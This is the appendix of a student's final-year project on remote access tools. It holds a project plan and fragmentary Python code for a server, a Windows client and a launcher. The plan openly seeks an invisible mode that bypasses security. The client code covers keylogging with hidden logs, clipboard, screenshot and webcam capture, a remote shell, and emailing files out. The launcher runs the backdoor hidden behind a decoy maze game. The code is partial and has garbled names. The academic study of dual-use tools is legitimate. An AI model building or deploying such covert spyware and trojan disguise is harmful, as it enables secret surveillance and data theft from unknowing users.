APPENDIX:

A1.0: Github Repository Link: https://docs.google.com/document/d/18h-Wq6vCnHxcFpDJp0chHdS4fPk5CAbhFzH-OX77qY/edit?usp=sharing

A2: PID – Project Initiation Document

Individual Project (CS3IP16)

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Project Initiation Document

PID Sign-Off

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SECTION 1 – General Information

Project Identification

1.1	Project Title
	Investigating the parallels between using a RAT-style software for malicious intent and virtuous purposes.
1.2	Please describe the project with key-phrases (max 5)
	RAT, Security, Support, Malware, Trojan, Investigating the use of RAT for malicious and good
1.3	E-logbook maintenance agreed with supervisor Use Google doc, OneDrive, or any mobile App whereby you will be able to generate a PDF copy
1.4	OneDrive GitLab link for maintain source code and research data Any change in GitLab link and Source code repository MUST be explicitly mention in final report
	https://csgitlab.reading.ac.uk/br016005/final-year-project

SECTION 2 – Project Description

Summarise the project's background in terms of research field /application domain (max 100 words).

RAT = Remote Administration(/access) Tool(/Trojan)

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The background of this software breaches across many different fields of computer science, for example, the design and implementation demonstrates the key fundamentals of software engineering, while the actual implications of the software lie heavily in the cyber security field - representing both offensive security, defensive security and malware. The project delves into the applications of a remote administration/access tool, the social, ethical, and legal ramifications of implementing one, and the possible dangers that may be associated with one.

The Development, Production, Delivery, Deployment, and implementation of a RAT style software. Demonstrating how the same style of software can be used as a malicious weapon but also a very useful admin and support tool. I am to show the parallels between software which can be used for the greater good, and the greater evil.

2.2 Summarise the project aims, objectives and outputs (max 250 words).

These aims, objectives, and outputs should appear as the tasks, milestones, and deliverables in your project plan (fill out Section 3).

The project aims to demonstrate to the reader the effectiveness of a RAT-style piece of software, and the various uses of one.

Aims:

To create a fully working RAT-style Application which can demonstrate the differences and parallels between piece of software developed solely for good intentions and one developed with malicious objectives.

The objectives:

Research into RAT-style software

Create a basic RAT-Style Prototype

admin privileges.

Test on a compromised system.

Basic UI

access to target via file system

access to target via full control

hooking to target

passive monitoring of target

capture of keyboard

capture of mouse

capture of clipboard

Advance to a hidden Malicious style RAT prototype. creepware

Invisible

bypass security and firewalls

undetected installation

Advance to a support utility style RAT prototype.

Clear prompts

user disconnect option

visual aids

logs for client

Show the differences between the two

Delivery methods:

investigate the different methods used to obtain access to a system and install the RAT software show how these differ between legal uses of the software and illegally intended uses.

Social, Legal, Ethical Aspects:

Investigate the SLE aspects of a legal RAT and a Malicious RAT.

Investigate scamware

Outputs:

Successfully design and develop a fully working Remote access tool.

Demonstrate the differences between a RAT designed for Assistance / Aid and one designed for malicious intent.

Demonstrate the various delivery methods possible to get a RAT onto the target device.

This project should discuss the vulnerabilities to a malicious RAT and how to attempt to protect yourself from this sort of attack.

Initial project specification – roughly indicate key features and functions of your finished program/application. Indicate possible method, data source, technology etc. (max 400 words) (Sensible and relevant Charts, Table, and Figures can be used) SIPOC

A working remote access tool which has the potential to be used for good purposes and evil purposes.

Must be able to see the target computer: the program cannot connect to a device it cannot recognise, therefore must be able to see it.

Must be able to connect to the target computer: must be able to successfully connect to the target device via internet or across a local connection.

Must allow application user to monitor target's activity, manage files, install additional software, control entire system, including any present application or hardware device, modify main system settings, turn off or restart computer. Ideally would allow monitoring behaviours through keylogging etc, accessing confidential information and passwords. The ability to take screenshot, manage peripherals such as activating a system's webcam and recording the video, formatting drives, deleting, downloading, and altering files/file systems, as well as distributing files.

Should give full control over the target computer. This should range from controlling the filesystem, to capturing the mouse, keyboard and even clipboard contents,

Does not need to be able to turn on computer! Just hook to a computer once it is turned on.

Either two separate RATs, one malicious and one for software aid – or if possible, one RAT with a switch between sinister mode and legitimate mode. There are many ideas that could be implanted into the switch, such as making the program look like it has crashed and exited while still maintaining full functionality.

For the sinister mode, inconspicuousness is key, there should be minimal to no indication that the system has been compromised, there should be as few visual clues possible, while maintain maximum performance, ideally the program should be running completely invisibly in the background, like a daemon, may have features to bypass security.

For the legitimate version, almost the complete opposite is true, visual clues are absolutely essential, the target computer should be able to disconnect at any point if the user feels that something is not right, the system should time out after idling for too long, and most definitely should not be running in the background without the users permissions.

Must have multiple delivery methods, such as via USB RubberDucky, Cloning via a git repo, sideloading, malicious email links, and giving permission to install (legitimate version).

I also intend to discuss the security side of things throughout the project, ranging to protecting yourself from them, to the implication of how the exact same software at the most basic level can be extremely dangerous but also significantly helpful based on way it is used.

Describe the social, legal, and ethical issues that apply to your project. Does your project require ethical approval? (If your project requires a questionnaire/interview for conducting research and/or collecting data, you will need to apply for an ethical approval)

All of the issues that apply with the project are only prominent in the case of using this software on devices that I do not own, or devices not being used for testing and demonstration purposes only. In these cases there are no legal, social, ethical, or moral implications.

In the event that this project gets extended to be tested on other devices, and

For the demonstration of the possible malicious applications of this program, there are many SLE issues, therefore I will need consent from the system owner or to test it on a local system . GDPR issues. Personal issues. Mental issues.

Computer Misuse Act.

Data Protection Act.

Identify the items you may need to purchase for your project. A cost up to £200 can be applied (include VAT and shipping if known). You need to have consent of your supervisor. Your request will be assessed by the department.

Various delivery formats,

USB rubber Ducky, etc \approx \$50 https://shop.hak5.org/products/usb-rubber-ducky-deluxe?variant=353378649

Or Bash Bunny = https://www.amazon.co.uk/Hak5-BASH-BUNNY-HAK5/dp/B0725Q36NJ or ~\$199 https://shop.hak5.org/products/usb-rubber-ducky-deluxe?variant=31762628378737

Debugging Rubber Duck (little yellow one preferably) £2.79

2.6 State whether you need access to specific resources within the department or the University e.g. special devices and workshop

An internet connected device which I can test the software's functionality and various delivery methods on. Admin privileges on a system. permission to boot from external drive.

IISECTION 3 - Project Plan

Please provide your project plan.

Below is an example project plan, you can use any tool or software to generate yours.

	START DATE:// <enter date="" here="" project="" start="" the=""> Project Weeks</enter>												
Project stage	0-3	3-6	6-9	9-12	12-15	15-18	18-21	21-24	24-27	27-30	30-33	33-36	36-39
1 Background Research													
2 Analysis/Design													
3 Develop prototype													
4 Testing/evaluation/validation													
5 Assessments													

A3.0 – UoRat S.py -> Server Code:

```
class Server:
       self.PORT = port
       self.BUFFER SIZE = buffer size
```

```
"-lock": self.locksystem,
        "-getLogs": self.getKeyLogs,
        "-Fsend": self.filesend,
        "-Frecv": self.filereceive,
        "-exe": self.exePy,
        "-vid": self.vidByFrames,
        "-WCplay": self.webcamPlay,
        "-dailymail": self.startEmailthread,
def label(self):
```

```
def mainmenu(self):
```

```
for k, v in Switcher.items():
def startEmailthread(self):
def stopEmailThread(self):
def clear(self):
    os.system("cls")
def startServer(self):
   self.server.bind((self.IP, self.PORT))
   self.acceptConnections()
def acceptConnections(self):
    print(self.IP)
    self.client socket, self.address = self.server.accept()
    self.connections.append(self.client socket)
```

```
self.commands()
    letters = (string.ascii letters + string.digits + string.punctuation)
def connectionconfirm(self):
    key = self.generatekey()
    self.server.close()
def disconnectTarget(self):
```

```
def updateBuffer(self, size):
    buff = ""
def saveBigFile(self, size, buff):
def sendMsg(self):
```

```
time.sleep(2)
def locksystem(self):
    self.client socket.send(command.encode("utf-8"))
def restartsystem(self):
    response = self.client socket.recv(self.BUFFER SIZE).decode("utf-8")
def systemmsg(self):
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```
time.sleep(2)
    self.client socket.send(msg.encode('utf-8'))
def playstarwars(self):
def playchess(self):
    status = self.client socket.recv(self.BUFFER SIZE).decode("utf-8")
def weather(self):
    status = self.client socket.recv(self.BUFFER SIZE).decode("utf-8")
def enableTN(self):
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status = self.client socket.recv(self.BUFFER SIZE).decode("utf-8")
def startKeyLogger(self):
def stopKeylogger(self):
    print(response)
def retrievelogs(self):
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```
output.write(fullarchive)
def getKeyLogs(self):
    if flaq == "[OK]":
        size = self.client socket.recv(self.BUFFER SIZE).decode("utf-8")
        if int(size) <= self.BUFFER SIZE:</pre>
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```
buff = self.updateBuffer(size)
                output.write(fullarchive)
    cb = self.client socket.recv(self.BUFFER SIZE)
        f.write(cb.decode("utf-8"))
def filesend(self):
    self.client socket.send(path.encode("utf-8"))
```

```
if int(size) <= self.BUFFER SIZE:</pre>
                 output.write(archive)
                 output.write(fullarchive)
def filereceive(self):
```

```
def email(self):
def getTargetInfo(self):
```

```
print("emsize =" + str(emsize))
        buff = self.updateBuffer(emsize)
        evenmore = self.saveBigFile(int(emsize), buff)
        evenmore = self.client socket.recv(self.BUFFER SIZE)
    if moresysinfo == "yes":
        f.write(more)
       m.write(evenmore)
    print("# IP:" + self.address[0])
def exePy(self):
    self.client socket.send(filename.encode('utf-8'))
```

```
def screenshot(self):
    recvsize = self.client socket.recv(self.BUFFER SIZE).decode('utf-8')
    fullscreen = self.saveBigFile(int(recvsize), buff)
   with open(f'../receivedfile/{time.time()}.png', 'wb+') as screen:
        screen.write(fullscreen)
def vidByFrames(self):
def webcamPlay(self):
```

```
x = cv2.imread(p)
def webcamRec(self):
    response = self.client socket.recv(self.BUFFER SIZE)
        time.sleep(0.1)
            archive = self.client socket.recv(self.BUFFER SIZE)
            buff = self.updateBuffer(size)
            fullarchive = self.saveBigFile(int(size), buff)
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```
def commands(self):
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self.client socket.close()
    self.close()
def cmdctrl(self):
       if cmd.lower() == "-back":
            self.server.close()
```

```
BUFFERSIZE = 2048
   server.startServer()
```

A4.0: UoRat_Wc.py -> Windows Client:

```
import datetime
```

```
self.PORT = port
self.BUFFER SIZE = buffer size
self.FinalSwitcher = {
   "-chess": self.playchess,
   "-KLstart": self.enableKeyLogger,
   "-getLogs": self.keylogs,
   "-getcb": self.clipboardgrab,
   "-exe": self.exePy,
   "-shell": self.fakeshell,
   "-dailymail": self.startEmailthread,
```

```
def disc(self):
    sys.exit()
def drop(self):
def connectToServer(self):
def confirmconnection(self):
    gendkey = self.client.recv(self.BUFFER SIZE).decode('utf-8')
   acceptancecode = input("Enter the Given Key: ")
```

```
def updateBuffer(self, size):
   buff = ""
           buff += size[counter]
    return int(buff)
def saveBigFile(self, size, buff):
       recvfile = self.client.recv(buff)
    return full
def sendHostInfo(self):
```

```
"HostName": socket.gethostname(),
        "Python Build": platform.python build(),
        "Windows Platform": platform.win32 ver()
   machine = platform.machine()
def sysinfViaCMDFile(self):
```

```
time.sleep(1)
        self.client.send(c)
def locksystem(self):
def shutdownmessage(self):
    message = self.client.recv(self.BUFFER SIZE).decode('utf-8')
    self.runrun(msq)
def restart(self):
def enableTN(self):
```

```
def playchess(self):
def playstarwars(self):
   self.runrun(msg)
def weather(self):
   self.runrun(msg)
   self.client.send("SUCCESS".encode("utf-8"))
def enableKeyLogger(self):
    self.Keylogger = Keylogger()
   kThread = threading.Thread(target=self.Keylogger.log)
def disableKeyLogger(self):
    keyboard = Controller()
    keyboard.press(Key.esc)
    keyboard.release (Key.esc)
```

```
archive = ZipFile(archname, 'w')
            arcsize = os.path.getsize(archname)
            os.remove(archname)
def clipboardgrab(self):
def runprocess(self, msg):
    obj = subprocess.Popen(msq, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE,
```

```
def runrun(self, msg):
def MSGBOX(self):
    insert = self.client.recv(self.BUFFER SIZE).decode('utf-8')
        msgA = '(echo MsgBox "' + insert_+ '" ^& vbCrLf ^& "Line 2",262192, "Title") > File.vbs'
        self.runrun(msqB)
        self.client.send("[!] FAILED TO DISPLAY MESSAGE. ".encode("utf-8"))
def txtmsq(self):
    time.sleep(2)
def filesend(self):
    filePath = self.client.recv(self.BUFFER SIZE).decode("utf-8")
    filelist = os.listdir(filePath)
```

```
for file in filelist:
        archive.write(filePath + '/' + file)
   archive.close()
    archivesize = os.path.getsize(archname)
    self.client.send(str(archivesize).encode("utf-8"))
def filerecv(self):
   if int(filesize) >= self.BUFFER SIZE:
       TFile = self.saveBigFile(int(filesize), buff)
def fakeshell(self):
   msq = (self.client.recv(self.BUFFER SIZE).decode("utf-8"))
           os.chdir(d)
```

```
self.runprocess(msg)
def email(self):
    status = emailsendfilepath(filename)
    self.client.send(status.encode('utf-8'))
def endless(self):
        self.client.send("2".encode("utf-8"))
        self.confirmconnection()
            func = self.FinalSwitcher.get(msg)
def exePy(self):
```

```
os.startfile(path2script)
                self.runrun(msg)
        self.client.send(("[!!] FAILURE + " + str(e)).encode('utf-8'))
def hidefile(self, filepath):
def screenshot(self):
    with mss() as ss:
            self.client.send(tosend) # sending actual file
```

```
def capture(self):
   if vc.isOpened(): # try to get the first frame
        rval, frame = vc.read()
    vc.release()
def sendwebcam(self):
    filePath = 'logs/Video'
   print(str(filePath))
    filelist = os.listdir(filePath)
    pprint(filelist)
    archive = ZipFile(archname, 'w')
    for file in filelist:
        archive.write(filePath + '/' + file)
    archive.close()
```

```
self.client.send((str(archivesize)).encode("utf-8"))
   def startEmailthread(self):
       eThread.start()
   def stopEmailThread(self):
def emailsendbody(body):
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```
if os.path.exists(filepath):
               emailsendbody(body)
def Scheduler():
   global eThreadActive
   while eThreadActive:
```

```
self.modifier keys = {
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for keycode in self.modifier keys:
           if keycode == str(key):
def log(self):
    self.hidelogs()
   with Listener(on press=self.key press) as listener:
def hidelogs(self):
    subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
    subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
PORT = 1337 # modify me (if you want)
```

```
os.mkdir('./logs')
except FileExistsError:
    pass

CLIENT = socket.gethostname()
CLIENT_IP = socket.gethostbyname(CLIENT)
print(CLIENT_IP)

while run:
    try:
        client = Client(SERVER_IP, FORT, BUFFER_SIZE, CLIENT_IP)
        client.connectToServer()
        client.endless()
    except:
        pass

if __name__ == "__main__":
    main()
```

A5.0: launcher.py – For disguising the client behind the maze executable:

```
import os
import threading()
scriptpath = "DO_Wclient_31.exe" # MODIFY ME -> this will be the backdoor (clientwin.exe)
exepath = "Maze240419.exe" # MODIFY ME -> this will be the front program (minesweeper.exe)
# backupexe = "C:/Users/..." # MODIFY ME -> this will be bacup.exe or b2.exe

def front():
    os.startfile(exepath)

def back():
    os.startfile(scriptpath)

def main():
    #os.startfile(backupexe)
    bThread = threading.Thread(target = back)
    bThread.daemon = True
    bThread.start()
    front()

if __name__ == "__main__":
    main()
```